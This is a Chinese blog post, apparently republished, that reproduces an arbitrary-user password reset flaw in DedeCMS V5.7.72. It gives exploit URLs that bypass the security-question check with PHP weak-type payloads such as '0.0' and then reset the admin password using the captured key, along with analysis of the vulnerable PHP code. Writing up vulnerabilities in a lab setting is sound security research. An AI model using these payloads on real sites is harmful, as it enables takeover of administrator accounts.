DeDecms(织梦CMS) V5.7.72任意用户密码重置漏洞复现
Posted wangtanzhi
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DeDecms(织梦CMS) V5.7.72任意用户密码重置漏洞复现相关的知识,希望对你有一定的参考价值。
前言
好几天没审计了,就来复现一下这个cms,难度也不是太高。
漏洞攻击流程
1:首先利用弱类型进入密码重置
http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1
admin默认mid是1
2:通过抓包获取到?key?值
3:去掉多余的字符访问修改密码链接
dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=xxxxx
这样我们就跳转得到了密码重置页面
代码分析
环境DeDecms(织梦CMS) V5.7.72+php7.2+apache
漏洞文件入口:
member/resetpassword.php?文件
这里是一个重新设置登陆密码功能,我们使用的是使用安全问题找回密码:
$dopost?==?"safequestion"
通过传入的?$mid?对应的?id?值来查询对应用户的安全问题
这里的大问题就是使用==判断安全问题和安全问题答案,这就给了我们利用弱类型绕过的可能,我们就可以绕过验证进行下一步的密码重置
怎么绕过呢?
假设用户没有设置安全问题和答案,那么默认情况下安全问题的值为?0?,答案的值为?null?(这里是数据库中的值,即?$row[‘safequestion‘]="0"?、?$row[‘safeanswer‘]=null?)。当没有设置?safequestion?和?safeanswer?的值时,它们的值均为空字符串。第11行的if表达式也就变成了?if(‘0‘ == ‘‘ && null == ‘‘)?,即?if(false && true)?,所以我们只要让表达式?$row[‘safequestion‘] == $safequestion?为?true?即可。下图是?null == ‘‘?的判断结果:
我们可以利用?php弱类型?的特点,来绕过这里?$row[‘safequestion‘] == $safequestion?的判断,通过测试找到了三个的payload,分别是?0.0?、?0.?、?0e1?,这三种类型payload均能使得?$row[‘safequestion‘] == $safequestion?为?true?,即成功进入?sn?函数。
默认状态下,临时密码的表为空,如下
mysql> select * from dede_pwd_tmp;
Empty set (0.00 sec
当我们访问完payload时,
链接会自动跳转到http://localhost/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=xxxx
key的值就是admin的临时密码,这时再查询数据库的临时密码表,你会发现多了一条admin的记录
这也是为什么
执行?SELECT * FROM #@__pwd_tmp WHERE mid = ‘$mid‘?语句时,返回结果为空
我们看到继续执行了newmail函数执行插入操作:
function?newmail($mid,?$userid,?$mailto,?$type,?$send)
{
????global?$db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
????$mailtime?=?time();
????$randval?=?random(8);
????$mailtitle?=?$cfg_webname.":密码修改";
????$mailto?=?$mailto;
????$headers?=?"From:?".$cfg_adminemail."
Reply-To:?$cfg_adminemail";
????$mailbody?=?"亲爱的".$userid.":
您好!感谢您使用".$cfg_webname."网。
".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)
本次临时登陆密码为:".$randval."?请于三天内登陆下面网址确认修改。
".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
????if($type?==?‘INSERT‘)
????{
????????$key?=?md5($randval);
????????$sql?=?"INSERT?INTO?`#@__pwd_tmp`?(`mid`?,`membername`?,`pwd`?,`mailtime`)VALUES?(‘$mid‘,?‘$userid‘,??‘$key‘,?‘$mailtime‘);";
????????if($db->ExecuteNoneQuery($sql))
????????{
????????????if($send?==?‘Y‘)
????????????{
????????????????sendmail($mailto,$mailtitle,$mailbody,$headers);
????????????????return?ShowMsg(‘EMAIL修改验证码已经发送到原来的邮箱请查收‘,?‘login.php‘,‘‘,‘5000‘);
????????????}?else?if?($send?==?‘N‘)
????????????{
????????????????return?ShowMsg(‘稍后跳转到修改页‘,?$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
????????????}
该代码主要功能是发送邮件至相关邮箱,并且插入一条记录至?dede_pwd_tmp?表中。而恰好漏洞的触发点就在这里,我们看看?第13行?至?第18行?的代码,如果?($send == ‘N‘)?这个条件为真,通过?ShowMsg?打印出修改密码功能的链接。?第17行?修改密码链接中的?$mid?参数对应的值是用户id,而?$randval?是在第一次?insert?操作的时候将其?md5?加密之后插入到?dede_pwd_tmp?表中,并且在这里已经直接回显给用户。那么这里拼接的url其实是
http://127.0.0.1/member/resetpassword.php?dopost=getpasswd&id=$mid&key=$randval
也就是说这里的id,key我们可控
继续跟进一下?dopost=getpasswd?的操作,相关代码位置在?member/resetpassword.php?中,
我们先从96行看,dopost=getpasswd时
会先判断id是否为空
如果不为空,进入
$row?=?$db->GetOne("SELECT?*?FROM?#@__pwd_tmp?WHERE?mid?=?‘$mid‘");
这里如果$row为空,就会退出,但是我们第一步payload使得mid已经在临时密码表中存在了,所以一定不为空,继续执行:
判断时间是否超时,如果没有,进入
templets/resetpassword2.htm
我们去看看
这里密码修改页面会将?$setp?赋值为2
由于现在的数据包中?$setp=2?,因此这部分功能代码实现又回到了?member/resetpassword.php?文件中。
从临时密码表中取出来key和我们前端url中的key对比,相等执行密码修改。
到此,这就是整个漏洞利用过程。
攻击过程
这里我们使用test账户重置admin密码
开始也提过了
1:首先利用弱类型进入密码重置
http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1
admin默认mid是1
2:通过抓包获取到?key?值:key=KUvaNLpw
此时临时密码表中有了我们的key:
3:去掉多余的字符访问修改密码链接
dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=KUvaNLpw
这样我们就跳转得到了密码重置页面
PS
这个漏洞利用还有一个条件:
网站开启了会员注册功能,如果不知道如何开启的话,可以按照下图进行开启测试
这里我一开始不知道。。导致耽误了一会时间。‘
还有就是一开始不知道默认后台是dede。。使用了爆破的方法。。
从网上直接找的dedecms检测插件也能检测出来漏洞:
这里看到有getsghell漏洞,确实存在不过不是这个
是后台存在多处fwrite函数导致getshellgetshell
这里这个不是我们的重点简单提一句。。
参考
https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day4/files/README.md
以上是关于DeDecms(织梦CMS) V5.7.72任意用户密码重置漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章
织梦dedecms后台管理账号和密码被篡改,请问如何找到这个漏洞